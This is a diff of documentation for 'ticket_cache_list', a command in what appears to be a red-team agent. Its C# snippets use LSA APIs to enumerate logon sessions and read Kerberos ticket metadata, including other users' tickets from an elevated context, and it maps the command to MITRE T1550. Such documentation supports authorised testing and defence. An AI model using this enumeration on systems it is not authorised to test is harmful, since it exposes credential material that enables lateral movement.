logonWorkingHandle.CastTo(); + if (logonId.IsNull || logonIds.Contains(logonId)) + { + continue; + } + logonIds.Add(logonId); + logonWorkingHandle = logonWorkingHandle.Increment(); + } + WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle); + return logonIds; +} +``` +- Uses `LsaEnumerateLogonSessions` to get all session LUIDs +- Iterates through session array with proper pointer arithmetic +- Handles duplicate LUID detection and filtering +- Properly frees LSA memory resources + +#### 5. Session Data Retrieval +```csharp +private static LogonSessionData GetLogonSessionData(HANDLE luidHandle) +{ + WindowsAPI.LsaGetLogonSessionDataDelegate(luidHandle, out logonSessionDataHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaGetLogonSessionData")); + + var seclogonSessionData = logonSessionDataHandle.CastTo(); + LogonSessionData sessionData = new() + { + LogonId = seclogonSessionData.LogonId, + Username = seclogonSessionData.UserName.ToString(), + LogonDomain = seclogonSessionData.LogonDomain.ToString(), + AuthenticationPackage = seclogonSessionData.AuthenticationPackage.ToString(), + LogonType = (Win32.LogonType)seclogonSessionData.LogonType, + Session = (int)seclogonSessionData.Session, + Sid = seclogonSessionData.Sid.IsNull ? null : new SecurityIdentifier(seclogonSessionData.Sid), + LogonTime = DateTime.FromFileTime(seclogonSessionData.LogonTime), + LogonServer = seclogonSessionData.LogonServer.ToString(), + DnsDomainName = seclogonSessionData.DnsDomainName.ToString(), + Upn = seclogonSessionData.Upn.ToString() + }; + return sessionData; +} +``` +- Retrieves detailed session information for each LUID +- Extracts username, domain, session ID, and other metadata +- Converts Windows structures to managed objects +- Handles null pointer checks for optional fields + +#### 6. Ticket Cache Querying +```csharp +private static IEnumerable GetTicketCache(HANDLE lsaHandle, uint authPackage, LUID logonId) +{ + LUID UsedlogonId = logonId; + if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) + { + UsedlogonId = new LUID(); + } + + KERB_QUERY_TKT_CACHE_REQUEST request = new() + { + MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage, + LogonId = UsedlogonId + }; + + var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestHandle, Marshal.SizeOf(request), out HANDLE returnBuffer, out uint returnLength, out NTSTATUS returnStatus); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); + + var response = returnBuffer.CastTo(); + HANDLE ticketHandle = (HANDLE)returnBuffer.Increment(); + + for (var i = 0; i < response.CountOfTickets; i++) + { + var lpTicket = ticketHandle.GetValue(); + var foundTicket = new KerberosTicket + { + Luid = logonId, + ClientName = lpTicket.ClientName.ToString(), + ClientRealm = lpTicket.ClientRealm.ToString(), + ServerName = lpTicket.ServerName.ToString(), + ServerRealm = lpTicket.ServerRealm.ToString(), + StartTime = DateTime.FromFileTime(lpTicket.StartTime), + EndTime = DateTime.FromFileTime(lpTicket.EndTime), + RenewTime = DateTime.FromFileTime(lpTicket.RenewTime), + EncryptionType = (KerbEncType)lpTicket.EncryptionType, + TicketFlags = (KerbTicketFlags)lpTicket.TicketFlags + }; + tickets.Add(foundTicket); + ticketHandle = ticketHandle.IncrementBy(Marshal.SizeOf()); + } + WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); +} +``` +- Queries ticket cache for specific logon session +- Clears LUID for non-elevated contexts to use current session +- Processes ticket cache response structure +- Extracts detailed ticket information including timing and encryption + +#### 7. System Ticket Filtering Logic +```csharp +var sessionData = GetLogonSessionData(new(logonSession)); +if (getSystemTickets is false && sessionData.Session is 0) +{ + continue; +} ``` -ticket_cache_list -luid [luidValue] +- Retrieves session data to check session ID +- Session ID 0 indicates system/service context +- Skips system tickets when getSystemTickets is false +- Allows filtering out service account tickets + +### Filtering and LUID Handling + +#### Target LUID Filtering +```csharp +if(!string.IsNullOrWhiteSpace(targetLuid) && logonSession.ToString() != targetLuid) +{ + continue; +} ``` +- Compares session LUID with target LUID parameter +- Skips sessions that don't match target when specified +- Allows precise targeting of specific logon sessions -Example +#### Integrity Level Considerations +```csharp +if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) +{ + UsedlogonId = new LUID(); +} ``` -ticket_cache_list -luid [luidValue] +- Uses null LUID for non-elevated contexts +- Limits enumeration to current session when not elevated +- Prevents access to other users' sessions without elevation + +### Browser Script Integration + +#### UI Features +```python +supported_ui_features = ["apollo:ticket_cache_list"] +browser_script = BrowserScript(script_name="ticket_cache_list", author="@its_a_feature_", for_new_ui=True) ``` +- Provides interactive table display for ticket information +- Enables sorting and filtering of ticket data +- Shows detailed ticket metadata in structured format + +### Parameter Configuration + +#### Default Values +```python +CommandParameter( + name="getSystemTickets", + type=ParameterType.Boolean, + default_value=True, + description="Set this to false to filter out tickets for the SYSTEM context" +), +CommandParameter( + name="luid", + type=ParameterType.String, + default_value="", + description="From an elevated context a LUID may be provided to target a specific session" +) +``` +- getSystemTickets defaults to true (includes system tickets) +- LUID defaults to empty string (all accessible sessions) +- Optional parameters for flexible enumeration + +### Integration with TicketManager + +#### Interface Methods +```csharp +// From KerberosTicketManager.cs +public List EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "") => + KerberosHelpers.TriageTickets(getSystemTickets, luid).ToList(); +``` +- Provides clean interface to enumeration functionality +- Handles parameter passing to helper methods +- Returns list of KerberosTicket objects + +### Error Handling + +#### Connection Initialization Errors +```csharp +(HANDLE lsaHandle, uint authPackage, IEnumerable logonSessions, string error) = InitKerberosConnectionAndSessionInfo(); + +if(lsaHandle.IsNull || authPackage == 0 || !logonSessions.Any() || error != "") +{ + return allTickets; // Return empty list +} +``` +- Validates LSA connection establishment +- Checks authentication package lookup success +- Ensures logon sessions were enumerated +- Returns empty list on initialization failures + +#### Resource Cleanup +```csharp +finally +{ + WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); +} +``` +- Ensures LSA connection cleanup +- Generates artifacts for cleanup operations +- Prevents resource leaks on errors + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `LsaConnectUntrusted` | Connect to LSA | advapi32.dll | +| `LsaEnumerateLogonSessions` | Get all logon session LUIDs | advapi32.dll | +| `LsaGetLogonSessionData` | Get session metadata | advapi32.dll | +| `LsaLookupAuthenticationPackage` | Get Kerberos auth package | advapi32.dll | +| `LsaCallAuthenticationPackage` | Query ticket caches | advapi32.dll | +| `LsaFreeReturnBuffer` | Free LSA memory | advapi32.dll | +| `LsaDeregisterLogonProcess` | Close LSA connection | advapi32.dll | ## MITRE ATT&CK Mapping -- T1550 \ No newline at end of file +- **T1550** - Use Alternate Authentication Material + +## Security Considerations +- **Session Enumeration**: Enumerates all logon sessions on system when elevated +- **Ticket Exposure**: Reveals Kerberos ticket metadata for accessible sessions +- **Cross-Session Access**: Can view other users' tickets when elevated +- **System Ticket Access**: Can enumerate service account tickets +- **LSA Interaction**: Direct interaction with Local Security Authority + +## Limitations +1. **JSON Format Only**: Requires JSON parameter format +2. **Elevation for Cross-Session**: Multi-session enumeration requires elevated context +3. **LSA Dependencies**: Requires functional LSA subsystem +4. **Session Access**: Limited to accessible logon sessions +5. **Metadata Only**: Shows ticket information but not encoded ticket data +6. **System Filtering**: System ticket filtering based on session ID only + +## Error Conditions +- **Invalid JSON**: Malformed JSON parameters +- **LSA Connection Failed**: Cannot connect to Local Security Authority +- **Session Enumeration Failed**: Cannot enumerate logon sessions +- **Package Lookup Failed**: Kerberos authentication package not found +- **Ticket Query Failed**: Cannot query ticket cache for session +- **Access Denied**: Insufficient privileges for target sessions +- **Invalid LUID**: Specified LUID does not exist or is inaccessible + +## Best Practices +1. **Parameter Awareness**: Understand filtering implications of getSystemTickets setting +2. **Session Targeting**: Use LUID parameter for focused enumeration when elevated +3. **Error Monitoring**: Check for enumeration failures and access issues +4. **Resource Management**: Monitor system impact of full session enumeration +5. **Context Understanding**: Be aware of elevation requirements for cross-session access \ No newline at end of file